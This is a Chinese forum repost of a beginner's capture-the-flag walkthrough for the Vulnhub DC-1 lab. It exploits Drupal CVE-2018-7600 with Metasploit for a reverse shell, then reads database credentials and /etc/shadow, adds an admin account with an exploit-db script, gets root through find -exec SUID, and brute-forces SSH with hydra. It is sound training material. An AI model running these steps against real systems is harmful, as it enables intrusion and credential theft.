安全矩阵

 找回密码
 立即注册
搜索
查看: 2554|回复: 0

[网络安全] 二十八.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利...

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-4-10 22:41:53 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2021-4-10 22:44 编辑

原文链接:[网络安全] 二十八.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(2)

前文分享了Vulnhub靶机渗透的环境搭建和JIS-CTF题目,采用Nmap、Dirb、中国蚁剑、敏感文件分析、SSH远程连接、Shell提权等获取5个flag。本文将讲解DC-1提权和Drupal漏洞利用,通过信息收集、CMS漏洞搜索、Metasploit反弹shell、提权及数据库爆破获取flag。本文是一篇Web渗透的基础性文章,希望对您有所帮助。

作者作为网络安全的小白,分享一些自学基础教程给大家,希望你们喜欢。同时,更希望你能与我一起操作深入进步,后续也将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不容易,大神请飘过,不喜勿喷,谢谢!
从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!

接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~
推荐前文:网络安全自学篇系列-100篇
https://blog.csdn.net/eastmount/category_9183790.html
话不多说,让我们开始新的征程吧!您的点赞、评论、收藏将是对我最大的支持,感恩安全路上一路前行,如果有写得不好或侵权的地方,可以联系我删除。基础性文章,希望对您有所帮助,作者目的是与安全人共同进步,加油~
文章目录:
  • 一.DC-1题目描述及环境配置
    1.题目描述
    2.环境搭建
  • 二.Vulnhub靶机渗透详解
    1.信息收集
    2.CMS漏洞搜索
    3.Metasploit漏洞利用
    4.敏感信息分析获取flag1和falg2
    5.数据库爆破
    6.数据库管理员密码修改及获取flag3
    7.用户信息获取flag4
    8.提权和Hydra爆破flag5
    9.SSH远程登录
    10.suid提权
  • 三.总结
作者的github资源:
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。

一.DC-1题目描述及环境配置
Vulnhub是一个特别好的渗透测试实战靶场,提供了许多带有漏洞的渗透测试虚拟机下载。作者会深入分析20多个案例来熟悉各种Web渗透工具及方法,希望能帮助到您。

1.题目描述
靶场题目:DC: 1
靶场地址:https://www.vulnhub.com/
entry/dc-1-1,292/
难度描述:包含5个Flag,初级难度,最终目标是在root主目录中找到并读取该标志
靶场作者:DCAU
下载地址:https://download.vulnhub.com/
dc/DC-1.zip



  1. Description
  2. DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing. It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.

  3. To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS. There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.

  4. There are five flags in total, but the ultimate goal is to find and read the flag in root’s home directory. You don’t even need to be root to do this, however, you will require root privileges. Depending on your skill level, you may be able to skip finding most of these flags and go straight for root. Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.
复制代码

2.环境搭建
第一步,下载资源

第二步,打开VMware虚拟机安装靶场
找到我们刚才下载的文件,导入虚拟机。

选择存放的位置,然后点击导入。如果出现未通过OVF规范一致性或虚拟硬件合规性检查,请单击“重试”导入。

第三步,导入完成之后,设置NAT网络模式,内存设置为1G,硬盘设置为4GB
注意,我们需要将靶机和kali放在同一个局域网下,保证能通信。

第四步,点击开启虚拟机

此时服务器处于开启状态,开始Kali操作吧!最早我一直去找用户名和密码尝试登录,后来想这个靶场应该是让你通过其他系统来渗透的。哈哈,毕竟我也是初学者,遇到任何简单问题都理解。



二.Vulnhub靶机渗透详解
1.信息收集

第一步,目标IP探测
首先需要探测目标靶场的IP,推荐两种方法。
方法1:使用arp-scan命令探测目标的IP地址
  • arp-scan -l
  • 目标IP为192.168.44.144


方法2:使用netdiscover识别目标主机
  • netdiscover -i eth0
    作者结合自己的虚拟机识别出来IP地址为:192.168.44.144


第二步,端口扫描
nmap命令的基本用法如下:
  • -sS:半开扫描,记入系统日志风险小
  • -sP:扫描端口前,先使用ping扫描,保证主机存活
  • -A:全面系统检测,启用脚本检测和扫描

输入命令如下:
  • nmap -sS -T4 -A -p- 192.168.44.144

扫描结果(主机开放端口)如下,常用的端口22和88,也需要注意一些特殊的端口可能存在漏洞。
  • 22:SSH远程连接
  • 80:HTTP网站协议
  • 111:RPCBInd协议
  • 45684:敏感端口


注意:在信息扫描中,目录扫描是接下来的操作。但这里作者没有进行目录扫描,因为该靶场考察一个CMS漏洞利用,后续也会有目录扫描操作。


2.CMS漏洞搜索
接着我们通过IP直接访问Web服务,这是一个Drupal搭建的网站。

推荐使用插件Wappalyzer进行网站指纹识别,也可以发现该网站是使用Drupal CMS的管理系统。

我们可以尝试在网上搜索这个cms的漏洞利用方式,可以发现漏洞编号为:
  • CVE-2018-7600


使用AWVS进行扫描,得到该页面存在Drupal的一个漏洞CVE-2018-7600。



3.Metasploit漏洞利用
接下来使用metasploit工具对漏洞进行利用。
第一步,启动metasploit
  • msfconsole


第二步,搜索drupal模块,采用2018
搜索这个CMS在MSF中能进行利用的方法,前面我们已经查询CVE-2018-7600是常见的漏洞。如果不知道的情况下,我们就需要一个个攻击模块的尝试。
  • search drupal


第三步,采用最新的2018漏洞尝试攻击,配置参数
  • use exploit/unix/webapp/drupal_drupalgeddon2
  • show options:显示配置参数,其中RHOSTS是必填项


第四步,反弹shell
  • set RHOSTS 192.168.44.144
  • exploit
  • shell
  • ls


具体内容如下,注意发现了第一个文件flag1.txt。

  1. README.txtmsf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.44.144
  2. RHOSTS => 192.168.44.144
  3. msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit

  4. [*] Started reverse TCP handler on 192.168.44.138:4444
  5. [*] Sending stage (38247 bytes) to 192.168.44.144
  6. [*] Meterpreter session 1 opened (192.168.44.138:4444 -> 192.168.44.144:33770) at 2020-04-10 22:25:12 +0800

  7. meterpreter > shell
  8. Process 3429 created.
  9. Channel 0 created.

  10. ls
  11. COPYRIGHT.txt
  12. INSTALL.mysql.txt
  13. INSTALL.pgsql.txt
  14. INSTALL.sqlite.txt
  15. INSTALL.txt
  16. LICENSE.txt
  17. MAINTAINERS.txt
  18. README.txt
  19. UPGRADE.txt
  20. authorize.php
  21. cron.php
  22. flag1.txt
  23. includes
  24. index.php
  25. install.php
  26. misc
  27. modules
  28. profiles
  29. robots.txt
  30. scripts
  31. sites
  32. themes
  33. update.php
  34. web.config
  35. xmlrpc.php
复制代码

4.敏感信息分析获取flag1和falg2
在/var/www/下有个flag1.txt,提示我们查看配置文件。

虽然shell已经进入,但它并不是交互的shell,所以我们要进入交互式的shell。
  • cat flag1.txt
  • pwd
  • whoami
  • ls

使用python反弹一个交互式shell TTY。
  • python -c 'import pty;pty.spawn("/bin/bash")'


注意,drupal的配置文件是 /sites/default/settings.php ,是数据库连接配置文件。
  • cat settings.php


接着发现了flag2以及数据库账号密码。

登上数据库查看相关信息。
  1. <?php

  2. /**
  3. *
  4. * flag2
  5. * Brute force and dictionary attacks aren't the
  6. * only ways to gain access (and you WILL need access).
  7. * What can you do with these credentials?
  8. *
  9. */

  10. $databases = array (
  11.   'default' =>
  12.   array (
  13.     'default' =>
  14.     array (
  15.       'database' => 'drupaldb',
  16.       'username' => 'dbuser',
  17.       'password' => 'R0ck3t',
  18.       'host' => 'localhost',
  19.       'port' => '',
  20.       'driver' => 'mysql',
  21.       'prefix' => '',
  22.     ),
  23.   ),
  24. );
复制代码

5.数据库爆破
由于Drupal的默认配置文件为 /var/www/sites/default/settings.php,查看发现了flag2和数据库的账号密码,我们接着进入数据库查看。
第一步,登录数据库
  • msql -u dbuser -p
  • username => dbuser
  • password => R0ck3t
  • database => drupaldb


第二步,数据库基本操作
  • show database;
  • use drupaldb;
  • show tables;


发现用户表为users,注意Drupal框架默认的用户表就是users表。

第三步,查询admin用户
  • select * from users;
  • select name,pass from users;


发现admin账号和经过加密的密码,flag2中给的提示暴力破解不是唯一的方法

输出结果如下,但密码加密且不是md5方式。如何破解密码是接下来的关键。
  1. mysql> select name,pass from users;
  2. select name,pass from users;
  3. +-------+---------------------------------------------------------+
  4. | name  | pass                                                    |
  5. +-------+---------------------------------------------------------+
  6. |       |                                                         |
  7. | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
  8. | Fred  | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
  9. +-------+---------------------------------------------------------+
  10. 3 rows in set (0.00 sec)
复制代码

6.数据库管理员密码修改及获取flag3
该部分参考文章:
VulnHub:C-1 - chalan630大佬
如何重置Drupal 7的用户密码 - xieyanxy9
忘记Drupal的管理员密码的解决办法 - drupalchina
方法一:利用PHP脚本修改管理员密码
由于很多在线MD5爆破和MD5数据库,可以查到很多MD5码的原文,所以Drupal 7已不再采用Drupal 6和5简单的MD5加密,而是采用一种新型的Hash加密方法。新型加密方法是“加了盐(Salt)”的MD5码,简单理解就是并不会直接将password进行MD5加密,而会和用户名或其它随机字符串组合在一起后再MD5加密。
第一个破解方法是利用Drupal 7安装目录的scripts目录下,有一些Drupal 7开发者准备好的PHP脚本,可以执行一些高级操作。其中有一个脚本名为password-hash.sh,它的功能是传入一个密码(字符串),即返回加密后的密码字符串。
由于Drupal 7对数据库加密的脚本位于网站根目录scripts下,利用该脚本修改为新密码123456,基本流程如下:

php scripts/password-hash.sh 123456



  1. # php scripts/password-hash.sh 123456
  2. php scripts/password-hash.sh 123456
  3. password: 123456                 
  4. hash: $S$DQrmfkgP1s7S3svvp/OdzHuGpZyt0oaIOIMuULnN6Zo.gxuq8MAu
复制代码

接着我们再次登录数据库。

  • mysql -u dbuser -p


使用update语句修改密码,代码如下:
  • use drupaldb;
  • select name,pass from users;
  • update users set pass=’$… Zo.gxuq8MAu’ where name=‘admin’;
  • select name,pass from users;


对原密码进行替换,再登录web服务,得到flag3。
  • admin
  • 123456


主页显示如下图所示:

可以在People页面看到我们的管理员用户信息。

对应的Flag3如下图所示:

flag3的提示需要提升权限,使用“-exec”在shadow文件中,接下来需要先查看用户列表。


方法二:查找可利用漏洞,添加新管理员账户
在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,第二种方法是通过该过程新增admin密码。
第一步,查看Drupal版本,确定Drupal版本为7.24
  • cat /var/www/includes/bootstrap.inc | grep VERSION



第二步,使用searchsploit查找可利用漏洞。攻击脚本适用于7.31以下,所以适合7.24版本。
  • searchsploit drupal


第三步,利用drupal7.0版本漏洞增加有admin权限的用户:eastmount
  • python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.44.144 -u eastmount -p eastmount


新增管理员用户如下:

第四步,使用新添加的用户eastmount登录网站,在content模块下找到flag3。

显示flag3如下:

flag3提示需要提升权限,使用“-exec”在shadow文件中,接下来需要先查看用户列表。


7.用户信息获取flag4

首先,我再带领大家回顾下整个渗透的流程。
  1. 1.metasploit反弹shell
  2.   msfconsole
  3.   use exploit/unix/webapp/drupal_drupalgeddon2
  4.   set RHOSTS 192.168.44.144
  5.   exploit

  6. 2.获取www-data@DC-1用户权限
  7.   shell
  8.   python -c 'import pty;pty.spawn("/bin/bash")'
  9.   cat /etc/passwd
  10.   find /root
复制代码




flag3的提示提到了权限,于是我们尝试查看用户列表。
  • cat /etc/passwd


注意,/etc/passwd包含系统所有账户信息,只有超级用户才有写和访问。该文件每个用户占一行用,分隔成七个字段。如下图所示:

发现flag4用户,接着切换到falg4的home目录,发现flag4.txt文件。flag4提示flag in root,接下来我们需要提权。


8.提权和Hydra爆破flag5

我们使用find获取root权限相关的信息,如下图所示:
  • find /root
  1. find命令是用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件,并将查找到的子目录和文件全部进行显示。

  2. find(选项)(参数)
  3. -exec<执行指令>:假设find指令的回传值为True,就执行该指令
  4. -perm<权限数值>:查找符合指定的权限数值的文件或目录
复制代码

发现最终flag文件,但是无权限打开,flag3中提醒需要使用“-exec”提权。


接着进行ROOT提权,核心步骤包括:
  • mkdir test
  • find test -exec ‘/bin/sh’ /;


查看/etc/shadow文件,发现flag4用户,并且flag4用户可以登录和密码。所以我们使用hydra进行爆破。
  • cat /etc/shadow


/etc/shadow文件存储的是/etc/passwd的密码、存放安全用户信息,格式如下:

接着使用hydra进行密码爆破,最终爆破用户和密码为:flag4、orange。
  • hydra -l flag4 -P passwords.txt ssh://192.168.44.144
  • -l:指定用户名
  • -P:加载自定义密码字典
  • ssh://ip:指定使用协议和ip地址


注意,hydra爆破海量密码比较耗时,所以拥有一些好的字典非常重要。

最终结果为:
  • login: flag4
  • password: orange




9.SSH远程登录

接着使用flag4用户进行ssh远程登录系统。


前面在flag4中提示root根目录,接着进入到根目录/root下找到thefinalflag.txt文本。

最终五个flag全部找到,游戏结束!DC-1这个靶场的综合性挺强的,也非常有趣。

注意,我们也可以直接利用find和-exec获取最终的flag。
  • touch test
  • find test -exec whoami ;
  • find test -exec cat /root/thefinalflag.txt;




10.suid提权
  1. 什么是suid?
  2. 通俗的理解是其他用户执行这个程序的时候可以用该程序所有者/组的权限。suid提权可以理解为某个文件有s标志,并且它输入root,当我们运行这个程序时就可以有root的权限,并且这个程序还能执行命令,那么我们就能从普通用户提升到root权限。常见suid提权的命令包括nmap、vim、find、bash等。
复制代码

下面补充下suid提权方法,前面我们的www-data权限很低,通常拿到网站需要进行提权。找到一个属于root有s权限的文件。

  • find / -user root -perm 4000 -print 2>/dev/null
  • find / -perm -u=s -type f 2>/dev/null


查看find的权限为root。
  • cd /usr/bin
  • ls -l find

root提权。
  • mkdir test
  • find test -exec ‘/bin/sh’ /;
  • whoami

接下来开始寻找flag,比如进入home目录发现flag4文件。

这文件存储的是/etc/passwd的密码、存放安全用户信息。


三.总结

写道这里,这篇文章讲解完毕,后续会更深入的分享。DC-1的渗透流程如下:
  • 信息收集
    (1) 目标IP探测 (arp-scan、netdiscover)
    (2) Nmap端口扫描
  • CMS漏洞搜索
    (1) Wappalyzer识别Drupal CMS管理系统
    (2) 搜索Drupal漏洞编号CVE-2018-7600
  • Metasploit漏洞利用反弹shell
    (1) 搜索drupal漏洞
    (2) msf使用漏洞并配置参数
    (3) 反弹shell
  • 敏感信息分析
    (1) 敏感信息获取flag1
    (2) python反弹交互式shell python -c ‘import pty;pty.spawn("/bin/bash")’
    (3) 获取flag和数据库账号密码
  • 数据库爆破
    (1) 登录数据库 msql -u dbuser -p
    (2) 查看用户表users
    (3) 发现admin用户和密码,但密码加密
  • 数据库管理员密码获取
    (1) 修改管理员密码 php scripts/password-hash.sh 123456
    (2) 数据库update更新密码 update users set pass=‘MD5(123456)’ where name=‘admin’;
    (3) 登录网站获取flag3
    (4) 利用漏洞和Python脚本新增用户 searchsploit drupal
    (5) python /usr/share/exploitdb/exploits/php/
    webapps/34992.py -t http://192.168.44.144 -u eastmount -p eastmount
  • 提权和Hydra爆破
    (1) 用户信息获取flag4 cat /etc/passwd
    (2) ROOT提权 find test -exec ‘/bin/sh’ /;
    (3) hydra爆破密码 hydra -l flag4 -P passwords.txt ssh://192.168.44.144
  • SSH远程登录
  • suid提权,常见root提权命令
    (1) find test -exec cat /root/thefinalflag.txt ;
    (2) find test -exec ‘/bin/sh’ /
    (3) find / -user root -perm -4000 -print 2>/dev/null
    (4) find / -perm -u=s -type f 2>/dev/null
    (5) find / -user root -perm -4000 -exec ls -ldb {} ;

学安全一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全和系统安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。编程没有捷径,逆向也没有捷径,它们都是搬砖活,少琢磨技巧,干就对了。什么时候你把攻击对手按在地上摩擦,你就赢了,也会慢慢形成了自己的安全经验和技巧。加油吧,少年希望这个路线对你有所帮助,共勉。











回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-21 05:48 , Processed in 0.016507 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表